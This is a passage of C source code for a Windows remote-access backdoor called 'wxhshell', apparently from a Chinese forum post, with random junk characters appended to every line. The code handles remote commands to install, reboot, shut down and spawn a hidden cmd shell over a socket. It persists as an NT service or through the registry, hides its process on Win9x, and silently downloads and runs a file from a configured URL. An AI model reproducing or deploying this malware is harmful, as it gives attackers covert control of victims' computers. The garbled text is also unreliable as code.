  } q["T6  
  else { <CJ`A5N  
d&'}~C`~k  
    switch(cmd[0]) { re `B fN  
  dIUg e`O9  
  // 帮助 ?oc#$fcQ~  
  case '?': { q-;z!iq|!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *:*Kdt`'G  
    break; {'QA0K  
  } -Xw i}/OX  
  // 安装 h!"| Q"18  
  case 'i': { gUcG#  
    if(Install()) D\Nhq Vw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$=D`B  
    else b\U p(]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q0}Sju+HX  
    break; ~S],)E1w  
    } h zh%ML3L  
  // 卸载 z8ox#+l  
  case 'r': { ;LBq!  
    if(Uninstall()) lP!`lhc-^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \*5_gPj!d  
    else nEZo F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Tn0r|K  
    break; tWNz:V  
    } Rw54`_kFEB  
  // 显示 wxhshell 所在路径 ~ [por  
  case 'p': { pm*6&,  
    char svExeFile[MAX_PATH]; bOi`JJ^   
    strcpy(svExeFile,"\n\r"); azj:Hru&t#  
      strcat(svExeFile,ExeFile); xlqh,?'>W  
        send(wsh,svExeFile,strlen(svExeFile),0); X"KX_)GZD  
    break; -L&FguoVB  
    } !Ol>![  
  // 重启 BJM_kKH  
  case 'b': { {~"&$DY2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !;YmLJk;hN  
    if(Boot(REBOOT)) \` |*i$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *}t,:N;i  
    else { -m&8SN  
    closesocket(wsh); {jOCz1J  
    ExitThread(0); v.08,P{b  
    } Hw1<! Dyv  
    break; FM c9oyU~  
    } -`mHb  
  // 关机 >k6RmN  
  case 'd': { t\hvhcbL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L{hP&8$k  
    if(Boot(SHUTDOWN)) >g+ogwZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~0_  
    else { u0;FQr2  
    closesocket(wsh); ~*|0yPFg  
    ExitThread(0); 7*e7P[LQU  
    } 7Ca+Pe}/n,  
    break; !+?,y/*5(  
    } N5ityJIgQ  
  // 获取shell {xm^DT  
  case 's': { z@lUaMm:F  
    CmdShell(wsh); DK/xHIv8-  
    closesocket(wsh); n\Z& sc  
    ExitThread(0); NR8YVO)5$  
    break; 7|A9  
  } 0ciPH:V  
  // 退出 e}u# :ysj  
  case 'x': { C F2*W).+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f^8,Z+n  
    CloseIt(wsh); &;~x{q]3  
    break; QGtKu:c.81  
    } WXqrx*?*+  
  // 离开 S7cxEOfAu  
  case 'q': { qB`zyd8yu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0hTv0#j#  
    closesocket(wsh); . Q3GA0O  
    WSACleanup(); T{1Z(M+  
    exit(1); ,t4g^67R{  
    break; hadGF%> O6  
        } u:+wuyu  
  } sK~d{)+T  
  } IfHB+H   
;dt&* ]wA  
  // 提示信息 4%Q8>mEvT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p?OwcMT]M  
} Jsee8^_~  
  } >b>3M'  
\29a@6  
  return; B_w;2ZuA  
} +kF$I7LN  
@Oe!*|?mS  
// shell模块句柄 ][8ZeM9&p  
int CmdShell(SOCKET sock) `nA_WS  
{ Z~}=q  
STARTUPINFO si; v~>^c1:  
ZeroMemory(&si,sizeof(si)); -(FVTWi0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vpOn0([hS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A~ugx~S0  
PROCESS_INFORMATION ProcessInfo; K'[H`x^  
char cmdline[]="cmd"; "x&hBJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " &B/v"nj  
  return 0; ^Z7])arA  
} 0r=:l/Pz  
xX l^\?HC  
// 自身启动模式 f $MVgX  
int StartFromService(void) MF/359r)Et  
{ 3R%'<MV|  
typedef struct O/M\Q  
{ p:u?a,p  
  DWORD ExitStatus; (q+U5Ls6  
  DWORD PebBaseAddress; ^g`1SU`  
  DWORD AffinityMask; o.DT`L8  
  DWORD BasePriority; *h Ph01  
  ULONG UniqueProcessId; :. B};;N  
  ULONG InheritedFromUniqueProcessId; L 0k K'n?  
}   PROCESS_BASIC_INFORMATION; ` INcZr"  
CW>f;  
PROCNTQSIP NtQueryInformationProcess; aF4vNUeG  
V2kNJwwk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }?xu/C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g:MpN^l  
F,^Q'$ !  
  HANDLE             hProcess; O.S(H1z<G  
  PROCESS_BASIC_INFORMATION pbi; GkjTE2I3  
)`]w\s #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /7X:=~m  
  if(NULL == hInst ) return 0; 3e$&rpv  
6bCC6G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :%qJAjR&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0%.l|~CE&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0hK)/!Y  
RS@*/.]o  
  if (!NtQueryInformationProcess) return 0; {zhN>n_  
9/ R|\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I0oM\~#  
  if(!hProcess) return 0; |) QE+|?P  
v0`E lkaN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rwr>43S5<3  
'l2'%@E>  
  CloseHandle(hProcess); XPE{]4 g  
3=V79&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h_L-M}{OG  
if(hProcess==NULL) return 0; 0}jB/Z_T  
qazM@  
HMODULE hMod; 75}BI&t3k  
char procName[255]; fLl~a[(5  
unsigned long cbNeeded; 7u-o7#,X2  
) 2C`;\/:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9r!psRA:`)  
+4EQ9-  
  CloseHandle(hProcess); iqURlI);P  
hkeOe  
if(strstr(procName,"services")) return 1; // 以服务启动 h\afO  
AjB-&Z  
  return 0; // 注册表启动 PvX>+y5  
} 6}A1^RB+w  
dX-Xzg  
// 主模块 4v cUHa|4  
int StartWxhshell(LPSTR lpCmdLine) Qp~O!9ph  
{ n#,|C`2r  
  SOCKET wsl; l[mXbQd  
BOOL val=TRUE; E\&~S+:Xp  
  int port=0; w N9I )hB  
  struct sockaddr_in door; q-O=Em<*  
B uV@w-|  
  if(wscfg.ws_autoins) Install(); \&|)?'8rS  
gtWJR  
port=atoi(lpCmdLine); $+qJ#0OE$  
pTPWToKh  
if(port<=0) port=wscfg.ws_port;  chW 1UE  
deO/`  
  WSADATA data; :hB/|H*=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )*ocX)AE  
p =_K P9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -t2bHhG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +m kub}<a  
  door.sin_family = AF_INET; ).e_iE[&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F1%-IBe  
  door.sin_port = htons(port); &OD)e@Tc  
Ub!MyXd{q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EEmYfP[3  
closesocket(wsl); CL oc  
return 1; 9q;n@q:29  
} "HSAwe`5jU  
uc4#giCD  
  if(listen(wsl,2) == INVALID_SOCKET) { X8aNl"x  
closesocket(wsl); Xi`K`Cu+  
return 1; O+hN?/>v  
} +HvEiY  
  Wxhshell(wsl); -:]_DbF  
  WSACleanup(); qELy'\  
+Zgh[a  
return 0; ^"N]i`dIF  
7jP C{W  
} 1,q&A RTS  
Q^=drNV  
// 以NT服务方式启动 To v!X8p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *mH++3h  
{ `{BY {  
DWORD   status = 0; J_) .Hd  
  DWORD   specificError = 0xfffffff; R >1  
\=3V]7\&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kppi N+||  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M{:}.H<a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rbfP6t:c3  
  serviceStatus.dwWin32ExitCode     = 0; ^p3"_;p)h  
  serviceStatus.dwServiceSpecificExitCode = 0; e%_2n=p~)%  
  serviceStatus.dwCheckPoint       = 0; fHK`u'  
  serviceStatus.dwWaitHint       = 0; 8{QN$Qkn  
+zM WIG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l!z)gto  
  if (hServiceStatusHandle==0) return; "tax  
N,N9K  
status = GetLastError(); );-?~   
  if (status!=NO_ERROR) M@\A_x(Mas  
{ 36ygI0V_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zF'LbQz0[  
    serviceStatus.dwCheckPoint       = 0; l0hcNEj{W  
    serviceStatus.dwWaitHint       = 0; ,ru2C_LQ  
    serviceStatus.dwWin32ExitCode     = status; _`'VOY`o  
    serviceStatus.dwServiceSpecificExitCode = specificError; n."vCP}O+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )bCw~'h*  
    return; -2Bkun4Pt  
  } (t$jb |Oa  
4KH8dau.fF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,+LX.f&/8!  
  serviceStatus.dwCheckPoint       = 0; 9eG{"0)  
  serviceStatus.dwWaitHint       = 0; /K!&4mK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :2+,?#W  
} aNd6# yU$  
OQl7#`G!H%  
// 处理NT服务事件,比如:启动、停止 mar6/*`I#+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yDmNPk/  
{ ."HDUo2D7  
switch(fdwControl) "gaurr3  
{ ^ud-N;]MKs  
case SERVICE_CONTROL_STOP: >ucVrLm,X  
  serviceStatus.dwWin32ExitCode = 0; !'yCB9]O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q7V*~{  
  serviceStatus.dwCheckPoint   = 0; /#WRd}IjK  
  serviceStatus.dwWaitHint     = 0; ;!RS q'L1  
  { .X2fu/}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -L zx3"  
  } Vp"=8p#k  
  return; l:' 0  
case SERVICE_CONTROL_PAUSE: b-'T>1V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c4\Nuy  
  break; ZeB"k)FI>  
case SERVICE_CONTROL_CONTINUE: kMJf!%L(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6A$  Y]u  
  break; WR5@S&fU`  
case SERVICE_CONTROL_INTERROGATE: 397IbZ\  
  break; roiUVisq*  
}; KM'*+.I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7IEG%FY T  
} 9V]{q  
yX`5x^wVw  
// 标准应用程序主函数 jUtFDw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d3,%Z &  
{ PM(M c]6  
+1uAzm4SL  
// 获取操作系统版本 LtJl\m.th  
OsIsNt=GetOsVer(); bi:TX<K+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V?yTJJ21X  
PN(P$6  
  // 从命令行安装 uT\|jv,  
  if(strpbrk(lpCmdLine,"iI")) Install(); XA1gV>SJ  
" A4.2  
  // 下载执行文件 ,\%qERk  
if(wscfg.ws_downexe) { G C#s;X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mi`jY0e2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2:8p>^g=  
} @7}]\}SR  
[B2g{8{!  
if(!OsIsNt) { $vC}Fq  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hv3<gyD  
HideProc(); VGe OoS  
StartWxhshell(lpCmdLine); Z)Zc9SVC  
} bF"1M#u:  
else 3D2\#6yo  
  if(StartFromService()) ]YF_c,Q  
  // 以服务方式启动 *)8!~Hs   
  StartServiceCtrlDispatcher(DispatchTable); 79yF {  
else >Q-"-X1  
  // 普通方式启动 ge[hAI2I  
  StartWxhshell(lpCmdLine); T F[8r[93  
eX 0due  
return 0; R?D c*,  
}
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只看该作者 1 发表于: 2006-10-10
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